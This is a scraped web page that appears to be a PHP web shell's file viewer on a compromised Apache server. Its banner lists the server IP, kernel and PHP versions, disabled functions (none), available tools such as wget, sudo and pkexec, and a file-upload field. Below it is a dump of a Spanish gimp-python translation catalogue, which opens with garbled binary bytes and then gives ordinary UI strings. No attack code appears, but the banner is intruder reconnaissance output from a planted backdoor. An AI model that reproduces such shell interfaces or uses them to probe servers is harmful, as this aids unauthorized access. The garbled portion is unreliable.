| Server IP : 182.53.201.61 / Your IP : 216.73.217.175 Web Server : Apache/2.2.15 (Fedora) System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686 User : apache ( 48) PHP Version : 5.3.3 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/locale/es/LC_MESSAGES/ |
Upload File : |
H \ a 5 ! W j
# / 9 I G
! 6 N b f s # & / 8 @ U t
,
B
Z
p
( " 5
X c k w =
& < B S ) c 1 E T # ' x ' & ) I ] a v * 5 . D G # W { # ) J j n , z . / 6 W ' f #
1 < O b w ! 3 + =
" 9 1 5 # 2 E H ( 8 4 - * ! , / ; . F A $ D : ) > ? 7 G < C & 0 % B @
' 6 Add a drop shadow to a layer, and optionally bevel it Add a layer of fog An error occured running %s Blue or Value Channel to _sort Character _source Clouds Color _model Colored XHTML Could not open '%s' for writing: %s Could not write to '%s': %s Create a gradient using colors from the palette Create a repeating gradient using colors from the palette Cuts an image along its guides, creates images and a HTML table snippet Drop shadow _X displacement Drop shadow _Y displacement Entry box Filename for export Fo_nt size in pixels Folder for image export Green or Saturation HSV Image format Image name prefix Interactive GIMP Python interpreter Invalid input for '%s' Javascript for onmouseover and clicked Missing exception information No Off_set Offset the colors in a palette Op_acity Palette Palette to _Gradient Palette to _Repeating Gradient Path for HTML export Python Console Python Procedure Browser Python-Fu Color Selection Python-Fu File Selection Python-Fu Folder Selection RGB Red or Hue Save Python-Fu Console Output Save as colored XHTML Saving as colored XHTML Separate image folder Skip animation for table caps Slice Sort the colors in a palette Source code Space between table elements Text file Yes _Ascending _Bevel _Browse... _Console _Drop Shadow and Bevel... _Drop shadow _File to read or characters to use _Fog color _Fog... _Layer name _More Information _Offset Palette... _Shadow blur _Slice... _Sort Palette... _Turbulence _Write a separate CSS file Project-Id-Version: gimp-python.HEAD
Report-Msgid-Bugs-To:
POT-Creation-Date: 2008-07-11 14:08+0000
PO-Revision-Date: 2008-07-17 11:05+0200
Last-Translator: Francisco Vila <francisco.vila@hispalinux.es>
Language-Team: Español <gnome-es-list@gnome.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.11.4
Plural-Forms: nplurals=2; plural=(n != 1);
Aplicar sombra arrojada a una capa, y opcionalmente biselarla Añadir una capa de niebla Ocurrió un error al ejecutar %s Azul o valor Canal que _ordenar _Fuente del carácter Nubes _Modelo de color XHTML coloreado No se pudo abrir «%s» para escribir: %s No se pudo escribir en %s: %s Crea un degradado usando los colores de la paleta Crear un degradado que se repite, utilizando los colores de la paleta Corta una imagen a lo largo de sus guías, crea imágenes y un recorte de table HTML Desplazamiento _X de la sombra arrojada Desplazamiento _Y de la sombra arrojada Caja de entrada Nombre de archivo para exportar Ta_maño de la tipografía en píxeles Carpeta para la exportación de imágenes Verde o saturación HSV Formato de la imagen Prefijo del nombre de la imagen Intérprete interactivo de Python del GIMP Entrada inválida para «%s» Código Javascript para «onmouseover» y «clicked» Se ha perdido la información de la excepción No De_splazamiento Desplazar los colores de una paleta Op_acidad Paleta Paleta a _degradado Paleta a degradado _repetido Ruta para exportar HTML Consola de Python Examinador de procedimientos Python Selección de color Python-Fu Selección de archivos Python-Fu Selección de carpeta Python-Fu RGB Rojo o tono Guardar la salida de la consola de Python-Fu Guardar como XHTML coloreado Guardando como XHTML coloreado Separar carpeta de la imagen Saltar animación para capacidades de la tabla Rodaja Ordena los colores en una paleta Código fuente Espacio entre los elementos de la tabla Archivo de texto Sí _Ascendente _Bisel _Examinar... _Consola _Sombra arrojada y bisel... Sombra a_rrojada _Archivo a leer o caracteres a usar Color de la nie_bla _Niebla... Nombre de la _capa _Más información _Desplazar paleta... Difuminado de la _sombra _Rodajas... _Ordenar paleta... _Turbulencia E_scribir un archivo CSS separado